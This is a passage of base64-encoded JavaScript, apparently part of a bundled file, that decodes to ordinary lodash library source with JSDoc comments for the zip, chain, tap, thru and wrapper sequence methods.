oZSBwcm9wZXJ0eSB2YWx1ZXMuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgbmV3IG9iamVjdC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy56aXBPYmplY3QoWydhJywgJ2InXSwgWzEsIDJdKTtcbiAgICAgKiAvLyA9PiB7ICdhJzogMSwgJ2InOiAyIH1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB6aXBPYmplY3QocHJvcHMsIHZhbHVlcykge1xuICAgICAgcmV0dXJuIGJhc2VaaXBPYmplY3QocHJvcHMgfHwgW10sIHZhbHVlcyB8fCBbXSwgYXNzaWduVmFsdWUpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uemlwT2JqZWN0YCBleGNlcHQgdGhhdCBpdCBzdXBwb3J0cyBwcm9wZXJ0eSBwYXRocy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjEuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IFtwcm9wcz1bXV0gVGhlIHByb3BlcnR5IGlkZW50aWZpZXJzLlxuICAgICAqIEBwYXJhbSB7QXJyYXl9IFt2YWx1ZXM9W11dIFRoZSBwcm9wZXJ0eSB2YWx1ZXMuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgbmV3IG9iamVjdC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy56aXBPYmplY3REZWVwKFsnYS5iWzBdLmMnLCAnYS5iWzFdLmQnXSwgWzEsIDJdKTtcbiAgICAgKiAvLyA9PiB7ICdhJzogeyAnYic6IFt7ICdjJzogMSB9LCB7ICdkJzogMiB9XSB9IH1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB6aXBPYmplY3REZWVwKHByb3BzLCB2YWx1ZXMpIHtcbiAgICAgIHJldHVybiBiYXNlWmlwT2JqZWN0KHByb3BzIHx8IFtdLCB2YWx1ZXMgfHwgW10sIGJhc2VTZXQpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uemlwYCBleGNlcHQgdGhhdCBpdCBhY2NlcHRzIGBpdGVyYXRlZWAgdG8gc3BlY2lmeVxuICAgICAqIGhvdyBncm91cGVkIHZhbHVlcyBzaG91bGQgYmUgY29tYmluZWQuIFRoZSBpdGVyYXRlZSBpcyBpbnZva2VkIHdpdGggdGhlXG4gICAgICogZWxlbWVudHMgb2YgZWFjaCBncm91cDogKC4uLmdyb3VwKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjguMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7Li4uQXJyYXl9IFthcnJheXNdIFRoZSBhcnJheXMgdG8gcHJvY2Vzcy5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWU9Xy5pZGVudGl0eV0gVGhlIGZ1bmN0aW9uIHRvIGNvbWJpbmVcbiAgICAgKiAgZ3JvdXBlZCB2YWx1ZXMuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2YgZ3JvdXBlZCBlbGVtZW50cy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy56aXBXaXRoKFsxLCAyXSwgWzEwLCAyMF0sIFsxMDAsIDIwMF0sIGZ1bmN0aW9uKGEsIGIsIGMpIHtcbiAgICAgKiAgIHJldHVybiBhICsgYiArIGM7XG4gICAgICogfSk7XG4gICAgICogLy8gPT4gWzExMSwgMjIyXVxuICAgICAqL1xuICAgIHZhciB6aXBXaXRoID0gYmFzZVJlc3QoZnVuY3Rpb24oYXJyYXlzKSB7XG4gICAgICB2YXIgbGVuZ3RoID0gYXJyYXlzLmxlbmd0aCxcbiAgICAgICAgICBpdGVyYXRlZSA9IGxlbmd0aCA+IDEgPyBhcnJheXNbbGVuZ3RoIC0gMV0gOiB1bmRlZmluZWQ7XG5cbiAgICAgIGl0ZXJhdGVlID0gdHlwZW9mIGl0ZXJhdGVlID09ICdmdW5jdGlvbicgPyAoYXJyYXlzLnBvcCgpLCBpdGVyYXRlZSkgOiB1bmRlZmluZWQ7XG4gICAgICByZXR1cm4gdW56aXBXaXRoKGFycmF5cywgaXRlcmF0ZWUpO1xuICAgIH0pO1xuXG4gICAgLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qL1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGBsb2Rhc2hgIHdyYXBwZXIgaW5zdGFuY2UgdGhhdCB3cmFwcyBgdmFsdWVgIHdpdGggZXhwbGljaXQgbWV0aG9kXG4gICAgICogY2hhaW4gc2VxdWVuY2VzIGVuYWJsZWQuIFRoZSByZXN1bHQgb2Ygc3VjaCBzZXF1ZW5jZXMgbXVzdCBiZSB1bndyYXBwZWRcbiAgICAgKiB3aXRoIGBfI3ZhbHVlYC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAxLjMuMFxuICAgICAqIEBjYXRlZ29yeSBTZXFcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byB3cmFwLlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgdGhlIG5ldyBgbG9kYXNoYCB3cmFwcGVyIGluc3RhbmNlLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgdXNlcnMgPSBbXG4gICAgICogICB7ICd1c2VyJzogJ2Jhcm5leScsICAnYWdlJzogMzYgfSxcbiAgICAgKiAgIHsgJ3VzZXInOiAnZnJlZCcsICAgICdhZ2UnOiA0MCB9LFxuICAgICAqICAgeyAndXNlcic6ICdwZWJibGVzJywgJ2FnZSc6IDEgfVxuICAgICAqIF07XG4gICAgICpcbiAgICAgKiB2YXIgeW91bmdlc3QgPSBfXG4gICAgICogICAuY2hhaW4odXNlcnMpXG4gICAgICogICAuc29ydEJ5KCdhZ2UnKVxuICAgICAqICAgLm1hcChmdW5jdGlvbihvKSB7XG4gICAgICogICAgIHJldHVybiBvLnVzZXIgKyAnIGlzICcgKyBvLmFnZTtcbiAgICAgKiAgIH0pXG4gICAgICogICAuaGVhZCgpXG4gICAgICogICAudmFsdWUoKTtcbiAgICAgKiAvLyA9PiAncGViYmxlcyBpcyAxJ1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNoYWluKHZhbHVlKSB7XG4gICAgICB2YXIgcmVzdWx0ID0gbG9kYXNoKHZhbHVlKTtcbiAgICAgIHJlc3VsdC5fX2NoYWluX18gPSB0cnVlO1xuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpbnZva2VzIGBpbnRlcmNlcHRvcmAgYW5kIHJldHVybnMgYHZhbHVlYC4gVGhlIGludGVyY2VwdG9yXG4gICAgICogaXMgaW52b2tlZCB3aXRoIG9uZSBhcmd1bWVudDsgKHZhbHVlKS4gVGhlIHB1cnBvc2Ugb2YgdGhpcyBtZXRob2QgaXMgdG9cbiAgICAgKiBcInRhcCBpbnRvXCIgYSBtZXRob2QgY2hhaW4gc2VxdWVuY2UgaW4gb3JkZXIgdG8gbW9kaWZ5IGludGVybWVkaWF0ZSByZXN1bHRzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IFNlcVxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHByb3ZpZGUgdG8gYGludGVyY2VwdG9yYC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBpbnRlcmNlcHRvciBUaGUgZnVuY3Rpb24gdG8gaW52b2tlLlxuICAgICAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIGB2YWx1ZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8oWzEsIDIsIDNdKVxuICAgICAqICAudGFwKGZ1bmN0aW9uKGFycmF5KSB7XG4gICAgICogICAgLy8gTXV0YXRlIGlucHV0IGFycmF5LlxuICAgICAqICAgIGFycmF5LnBvcCgpO1xuICAgICAqICB9KVxuICAgICAqICAucmV2ZXJzZSgpXG4gICAgICogIC52YWx1ZSgpO1xuICAgICAqIC8vID0+IFsyLCAxXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHRhcCh2YWx1ZSwgaW50ZXJjZXB0b3IpIHtcbiAgICAgIGludGVyY2VwdG9yKHZhbHVlKTtcbiAgICAgIHJldHVybiB2YWx1ZTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLnRhcGAgZXhjZXB0IHRoYXQgaXQgcmV0dXJucyB0aGUgcmVzdWx0IG9mIGBpbnRlcmNlcHRvcmAuXG4gICAgICogVGhlIHB1cnBvc2Ugb2YgdGhpcyBtZXRob2QgaXMgdG8gXCJwYXNzIHRocnVcIiB2YWx1ZXMgcmVwbGFjaW5nIGludGVybWVkaWF0ZVxuICAgICAqIHJlc3VsdHMgaW4gYSBtZXRob2QgY2hhaW4gc2VxdWVuY2UuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgU2VxXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gcHJvdmlkZSB0byBgaW50ZXJjZXB0b3JgLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGludGVyY2VwdG9yIFRoZSBmdW5jdGlvbiB0byBpbnZva2UuXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIHJlc3VsdCBvZiBgaW50ZXJjZXB0b3JgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfKCcgIGFiYyAgJylcbiAgICAgKiAgLmNoYWluKClcbiAgICAgKiAgLnRyaW0oKVxuICAgICAqICAudGhydShmdW5jdGlvbih2YWx1ZSkge1xuICAgICAqICAgIHJldHVybiBbdmFsdWVdO1xuICAgICAqICB9KVxuICAgICAqICAudmFsdWUoKTtcbiAgICAgKiAvLyA9PiBbJ2FiYyddXG4gICAgICovXG4gICAgZnVuY3Rpb24gdGhydSh2YWx1ZSwgaW50ZXJjZXB0b3IpIHtcbiAgICAgIHJldHVybiBpbnRlcmNlcHRvcih2YWx1ZSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgdGhlIHdyYXBwZXIgdmVyc2lvbiBvZiBgXy5hdGAuXG4gICAgICpcbiAgICAgKiBAbmFtZSBhdFxuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDEuMC4wXG4gICAgICogQGNhdGVnb3J5IFNlcVxuICAgICAqIEBwYXJhbSB7Li4uKHN0cmluZ3xzdHJpbmdbXSl9IFtwYXRoc10gVGhlIHByb3BlcnR5IHBhdGhzIHRvIHBpY2suXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgbmV3IGBsb2Rhc2hgIHdyYXBwZXIgaW5zdGFuY2UuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3QgPSB7ICdhJzogW3sgJ2InOiB7ICdjJzogMyB9IH0sIDRdIH07XG4gICAgICpcbiAgICAgKiBfKG9iamVjdCkuYXQoWydhWzBdLmIuYycsICdhWzFdJ10pLnZhbHVlKCk7XG4gICAgICogLy8gPT4gWzMsIDRdXG4gICAgICovXG4gICAgdmFyIHdyYXBwZXJBdCA9IGZsYXRSZXN0KGZ1bmN0aW9uKHBhdGhzKSB7XG4gICAgICB2YXIgbGVuZ3RoID0gcGF0aHMubGVuZ3RoLFxuICAgICAgICAgIHN0YXJ0ID0gbGVuZ3RoID8gcGF0aHNbMF0gOiAwLFxuICAgICAgICAgIHZhbHVlID0gdGhpcy5fX3dyYXBwZWRfXyxcbiAgICAgICAgICBpbnRlcmNlcHRvciA9IGZ1bmN0aW9uKG9iamVjdCkgeyByZXR1cm4gYmFzZUF0KG9iamVjdCwgcGF0aHMpOyB9O1xuXG4gICAgICBpZiAobGVuZ3RoID4gMSB8fCB0aGlzLl9fYWN0aW9uc19fLmxlbmd0aCB8fFxuICAgICAgICAgICEodmFsdWUgaW5zdGFuY2VvZiBMYXp5V3JhcHBlcikgfHwgIWlzSW5kZXgoc3RhcnQpKSB7XG4gICAgICAgIHJldHVybiB0aGlzLnRocnUoaW50ZXJjZXB0b3IpO1xuICAgICAgfVxuICAgICAgdmFsdWUgPSB2YWx1ZS5zbGljZShzdGFydCwgK3N0YXJ0ICsgKGxlbmd0aCA/IDEgOiAwKSk7XG4gICAgICB2YWx1ZS5fX2FjdGlvbnNfXy5wdXNoKHtcbiAgICAgICAgJ2Z1bmMnOiB0aHJ1LFxuICAgICAgICAnYXJncyc6IFtpbnRlcmNlcHRvcl0sXG4gICAgICAgICd0aGlzQXJnJzogdW5kZWZpbmVkXG4gICAgICB9KTtcbiAgICAgIHJldHVybiBuZXcgTG9kYXNoV3JhcHBlcih2YWx1ZSwgdGhpcy5fX2NoYWluX18pLnRocnUoZnVuY3Rpb24oYXJyYXkpIHtcbiAgICAgICAgaWYgKGxlbmd0aCAmJiAhYXJyYXkubGVuZ3RoKSB7XG4gICAgICAgICAgYXJyYXkucHVzaCh1bmRlZmluZWQpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiBhcnJheTtcbiAgICAgIH0pO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGBsb2Rhc2hgIHdyYXBwZXIgaW5zdGFuY2Ugd2l0aCBleHBsaWNpdCBtZXRob2QgY2hhaW4gc2VxdWVuY2VzIGVuYWJsZWQuXG4gICAgICpcbiAgICAgKiBAbmFtZSBjaGFpblxuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IFNlcVxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgdGhlIG5ldyBgbG9kYXNoYCB3cmFwcGVyIGluc3RhbmNlLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgdXNlcnMgPSBbXG4gICAgICogICB7ICd1c2VyJzogJ2Jhcm5leScsICdhZ2UnOiAzNiB9LFxuICAgICAqICAgeyAndXNlcic6ICdmcmVkJywgICAnYWdlJzogNDAgfVxuICAgICAqIF07XG4gICAgICpcbiAgICAgKiAvLyBBIHNlcXVlbmNlIHdpdGhvdXQgZXhwbGljaXQgY2hhaW5pbmcuXG4gICAgICogXyh1c2VycykuaGVhZCgpO1xuICAgICAqIC8vID0+IHsgJ3VzZXInOiAnYmFybmV5JywgJ2FnZSc6IDM2IH1cbiAgICAgKlxuICAgICAqIC8vIEEgc2VxdWVuY2Ugd2l0aCBleHBsaWNpdCBjaGFpbmluZy5cbiAgICAgKiBfKHVzZXJzKVxuICAgICAqICAgLmNoYWluKClcbiAgICAgKiAgIC5oZWFkKClcbiAgICAgKiAgIC5waWNrKCd1c2VyJylcbiAgICAgKiAgIC52YWx1ZSgpO1xuICAgICAqIC8vID0+IHsgJ3VzZXInOiAnYmFybmV5JyB9XG4gICAgICovXG4gICAgZnVuY3Rpb24gd3JhcHBlckNoYWluKCkge1xuICAgICAgcmV0dXJuIGNoYWluKHRoaXMpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEV4ZWN1dGVzIHRoZSBjaGFpbiBzZXF1ZW5jZSBhbmQgcmV0dXJucyB0aGUgd3JhcHBlZCByZXN1bHQuXG4gICAgICpcbiAgICAgKiBAbmFtZSBjb21taXRcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjIuMFxuICAgICAqIEBjYXRlZ29yeSBTZXFcbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBuZXcgYGxvZGFzaGAgd3JhcHBlciBpbnN0YW5jZS5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIGFycmF5ID0gWzEsIDJdO1xuICAgICAqIHZhciB3cmFwcGVkID0gXyhhcnJheSkucHVzaCgzKTtcbiAgICAgKlxuICAgICAqIGNvbnNvbGUubG9nKGFycmF5KTtcbiAgICAgKiAvLyA9PiBbMSwgMl1cbiAgICAgKlxuICAgICAqIHdyYXBwZWQgPSB3cmFwcGVkLmNvbW1pdCgpO1xuICAgICAqIGNvbnNvbGUubG9nKGFycmF5KTtcbiAgICAgKiAvLyA9PiBbMSwgMiwgM11cbiAgICAgKlxuICAgICAqIHdyYXBwZWQubGFzdCgpO1xuICAgICAqIC8vID0+IDNcbiAgICAgKlxuICAgICAqIGNvbnNvbGUubG9nKGFycmF5KTtcbiAgICAgKiAvLyA9PiBbMSwgMiwgM11cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB3cmFwcGVyQ29tbWl0KCkge1xuICAgICAgcmV0dXJuIG5ldyBMb2Rhc2hXcmFwcGVyKHRoaXMudmFsdWUoKSwgdGhpcy5fX2NoYWluX18pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEdldHMgdGhlIG5leHQgdmFsdWUgb24gYSB3cmFwcGVkIG9iamVjdCBmb2xsb3dpbmcgdGhlXG4gICAgICogW2l0ZXJhdG9yIHByb3RvY29sXShodHRwczovL21kbi5pby9pdGVyYXRpb25fcHJvdG9jb2xzI2l0ZXJhdG9yKS5cbiAgICAgKlxuICAgICAqIEBuYW1lIG5leHRcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBTZXFcbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBuZXh0IGl0ZXJhdG9yIHZhbHVlLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgd3JhcHBlZCA9IF8oWzEsIDJdKTtcbiAgICAgKlxuICAgICAqIHdyYXBwZWQubmV4dCgpO1xuICAgICAqIC8vID0+IHsgJ2RvbmUnOiBmYWxzZSwgJ3ZhbHVlJzogMSB9XG4gICAgICpcbiAgICAgKiB3cmFwcGVkLm5leHQoKTtcbiAgICAgKiAvLyA9PiB7ICdkb25lJzogZmFsc2UsICd2YWx1ZSc6IDIgfVxuICAgICAqXG4gICAgICogd3JhcHBlZC5uZXh0KCk7XG4gICAgICogLy8gPT4geyAnZG9uZSc6IHRydWUsICd2YWx1ZSc6IHVuZGVmaW5lZCB9XG4gICAgICovXG4gICAgZnVuY3Rpb24gd3JhcHBlck5leHQoKSB7XG4gICAgICBpZiAodGhpcy5fX3ZhbHVlc19fID09PSB1bmRlZmluZWQpIHtcbiAgICAgICAgdGhpcy5fX3ZhbHVlc19fID0gdG9BcnJheSh0aGlzLnZhbHVlKCkpO1xuICAgICAgfVxuICAgICAgdmFyIGRvbmUgPSB0aGlzLl9faW5kZXhfXyA+PSB0aGlzLl9fdmFsdWVzX18ubGVuZ3RoLFxuICAgICAgICAgIHZhbHVlID0gZG9uZSA/IHVuZGVmaW5lZCA6IHRoaXMuX192YWx1ZXNfX1t0aGlzLl9faW5kZXhfXysrXTtcblxuICAgICAgcmV0dXJuIHsgJ2RvbmUnOiBkb25lLCAndmFsdWUnOiB2YWx1ZSB9O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEVuYWJsZXMgdGhlIHdyYXBwZXIgdG8gYmUgaXRlcmFibGUuXG4gICAgICpcbiAgICAgKiBAbmFtZSBTeW1ib2wuaXRlcmF0b3JcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBTZXFcbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSB3cmFwcGVyIG9iamVjdC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIHdyYXBwZWQgPSBfKFsxLCAyXSk7XG4gICAgICpcbiAgICAgKiB3cmFwcGVkW1N5bWJvbC5pdGVyYXRvcl0oKSA9PT0gd3JhcHBlZDtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBBcnJheS5mcm9tKHdyYXBwZWQpO1xuICAgICAqIC8vID0+IFsxLCAyXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHdyYXBwZXJUb0l0ZXJhdG9yKCkge1xuICAgICAgcmV0dXJuIHRoaXM7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGNsb25lIG9mIHRoZSBjaGFpbiBzZXF1ZW5jZSBwbGFudGluZyBgdmFsdWVgIGFzIHRoZSB3cmFwcGVkIHZhbHVlLlxuICAgICAqXG4gICAgICogQG5hbWUgcGxhbnRcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjIuMFxuICAgICAqIEBjYXRlZ29yeSBTZXFcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBwbGFudC5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBuZXcgYGxvZGFzaGAgd3JhcHBlciBpbnN0YW5jZS5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogZnVuY3Rpb24gc3F1YXJlKG4pIHtcbiAgICAgKiAgIHJldHVybiBuICogbjtcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiB2YXIgd3JhcHBlZCA9IF8oWzEsIDJdKS5tYXAoc3F1YXJlKTtcbiAgICAgKiB2YXIgb3RoZXIgPSB3cmFwcGVkLnBsYW50KFszLCA0XSk7XG4gICAgICpcbiAgICAgKiBvdGhlci52YWx1ZSgpO1xuICAgICAqIC8vID0+IFs5LCAxNl1cbiAgICAgKlxuICAgICAqIHdyYXBwZWQudmFsdWUoKTtcbiAgICAgKiAvLyA9PiBbMSwgNF1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB3cmFwcGVyUGxhbnQodmFsdWUpIHtcbiAgICAgIHZhciByZXN1bHQsXG4gICAgICAgICAgcGFyZW50ID0gdGhpcztcblxuICAgICAgd2hpbGUgKHBhcmVudCBpbnN0YW5jZW9mIGJhc2VMb2Rhc2gpIHtcbiAgICAgICAgdmFyIGNsb25lID0gd3JhcHBlckNsb25lKHBhcmVudCk7XG4gICAgICAgIGNsb25lLl9faW5kZXhfXyA9IDA7XG4gICAgICAgIGNsb25lLl9fdmFsdWVzX18gPSB1bmRlZmluZWQ7XG4gICAgICAgIGlmIChyZXN1bHQpIHtcbiAgICAgICAgICBwcmV2aW91cy5fX3dyYXBwZWRfXyA9IGNsb25lO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIHJlc3VsdCA9IGNsb25lO1xuICAgICAgICB9XG4gICAgICAgIHZhciBwcmV2aW91cyA9IGNsb25lO1xuICAgICAgICBwYXJlbnQgPSBwYXJlbnQuX193cmFwcGVkX187XG4gICAgICB9XG4gICAgICBwcmV2aW91cy5fX3dyYXBwZWRfXyA9IHZhbHVlO1xuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyB0aGUgd3JhcHBlciB2ZXJzaW9uIG9mIGBfLnJldmVyc2VgLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFRoaXMgbWV0aG9kIG11dGF0ZXMgdGhlIHdyYXBwZWQgYXJyYXkuXG4gICAgICpcbiAgICAgKiBAbmFtZSByZXZlcnNlXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgU2VxXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgbmV3IGBsb2Rhc2hgIHdyYXBwZXIgaW5zdGFuY2UuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBhcnJheSA9IFsxLCAyLCAzXTtcbiAgICAgKlxuICAgICAqIF8oYXJyYXkpLnJldmVyc2UoKS52YWx1ZSgpXG4gICAgICogLy8gPT4gWzMsIDIsIDFdXG4gICAgICpcbiAgICAgKiBjb25zb2xlLmxvZyhhcnJheSk7XG4gICAgICogLy8gPT4gWzMsIDIsIDFdXG4gICAgICovXG4gICAgZnVuY3Rpb24gd3JhcHBlclJldmVyc2UoKSB7XG4gICAgICB2YXIgdmFsdWUgPSB0aGlzLl9fd3JhcHBlZF9fO1xuICAgICAgaWYgKHZhbHVlIGluc3RhbmNlb2YgTGF6eVdyYXBwZXIpIHtcbiAgICAgICAgdmFyIHdyYXBwZWQgPSB2YWx1ZTtcbiAgICAgICAgaWYgKHRoaXMuX19hY3Rpb25zX18ubGVuZ3RoKSB7XG4gICAgICAgICAgd3JhcHBlZCA9IG5ldyBMYXp5V3JhcHBlcih0aGlzKTtcbiAgICAgICAgfVxuICAgICAgICB3cmFwcGVkID0gd3JhcHBlZC5yZXZlcnNlKCk7XG4gICAgICAgIHdyYXBwZWQuX19hY3Rpb25zX18ucHVzaCh7XG4gICAgICAgICAgJ2Z1bmMnOiB0aHJ1LFxuICAgICAgICAgICdhcmdzJzogW3JldmVyc2VdLFxuICAgICAgICAgICd0aGlzQXJnJzogdW5kZWZpbmVkXG4gICAgICAgIH0pO1xuICAgICAgICByZXR1cm4gbmV3IExvZGFzaFdyYXBwZXIod3JhcHBlZCwgdGhpcy5fX2NoYWluX18pO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHRoaXMudGhydShyZXZlcnNlKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBFeGVjdXRlcyB0aGUgY2hhaW4gc2VxdWVuY2UgdG8gcmVzb2x2ZSB0aGUgdW53cmFwcGVkIHZhbHVlLlxuICAgICAqXG4gICAgICogQG5hbWUgdmFsdWVcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBhbGlhcyB0b0pTT04sIHZhbHVlT2ZcbiAgICAgKiBAY2F0ZWdvcnkgU2VxXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIHJlc29sdmVkIHVud3JhcHBlZCB2YWx1ZS5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXyhbMSwgMiwgM10pLnZhbHVlKCk7XG4gICAgICogLy8gPT4gWzEsIDIsIDNdXG4gICAgICovXG4gICAgZnVuY3Rpb24gd3JhcHBlclZhbHVlKCkge1xuICAgICAgcmV0dXJuIGJhc2VXcmFwcGVyVmFsdWUodGhpcy5fX3dyYXBwZWRfXywgdGhpcy5fX2FjdGlvbnNfXyk7XG4gICAgfVxuXG4gICAgLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qL1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBvYmplY3QgY29tcG9zZWQgb2Yga2V5cyBnZW5lcmF0ZWQgZnJvbSB0aGUgcmVzdWx0cyBvZiBydW5uaW5nXG4gICAgICogZWFjaCBlbGVtZW50IG9mIGBjb2xsZWN0aW9uYCB0aHJ1IGBpdGVyYXRlZWAuIFRoZSBjb3JyZXNwb25kaW5nIHZhbHVlIG9mXG4gICAgICogZWFjaCBrZXkgaXMgdGhlIG51bWJlciBvZiB0aW1lcyB0aGUga2V5IHdhcyByZXR1cm5lZCBieSBgaXRlcmF0ZWVgLiBUaGVcbiAgICAgKiBpdGVyYXRlZSBpcyBpbnZva2VkIHdpdGggb25lIGFyZ3VtZW50OiAodmFsdWUpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuNS4wXG4gICAgICogQGNhdGVnb3J5IENvbGxlY3Rpb25cbiAgICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlPV8uaWRlbnRpdHldIFRoZSBpdGVyYXRlZSB0byB0cmFuc2Zvcm0ga2V5cy5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBjb21wb3NlZCBhZ2dyZWdhdGUgb2JqZWN0LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmNvdW50QnkoWzYuMSwgNC4yLCA2LjNdLCBNYXRoLmZsb29yKTtcbiAgICAgKiAvLyA9PiB7ICc0JzogMSwgJzYnOiAyIH1cbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5wc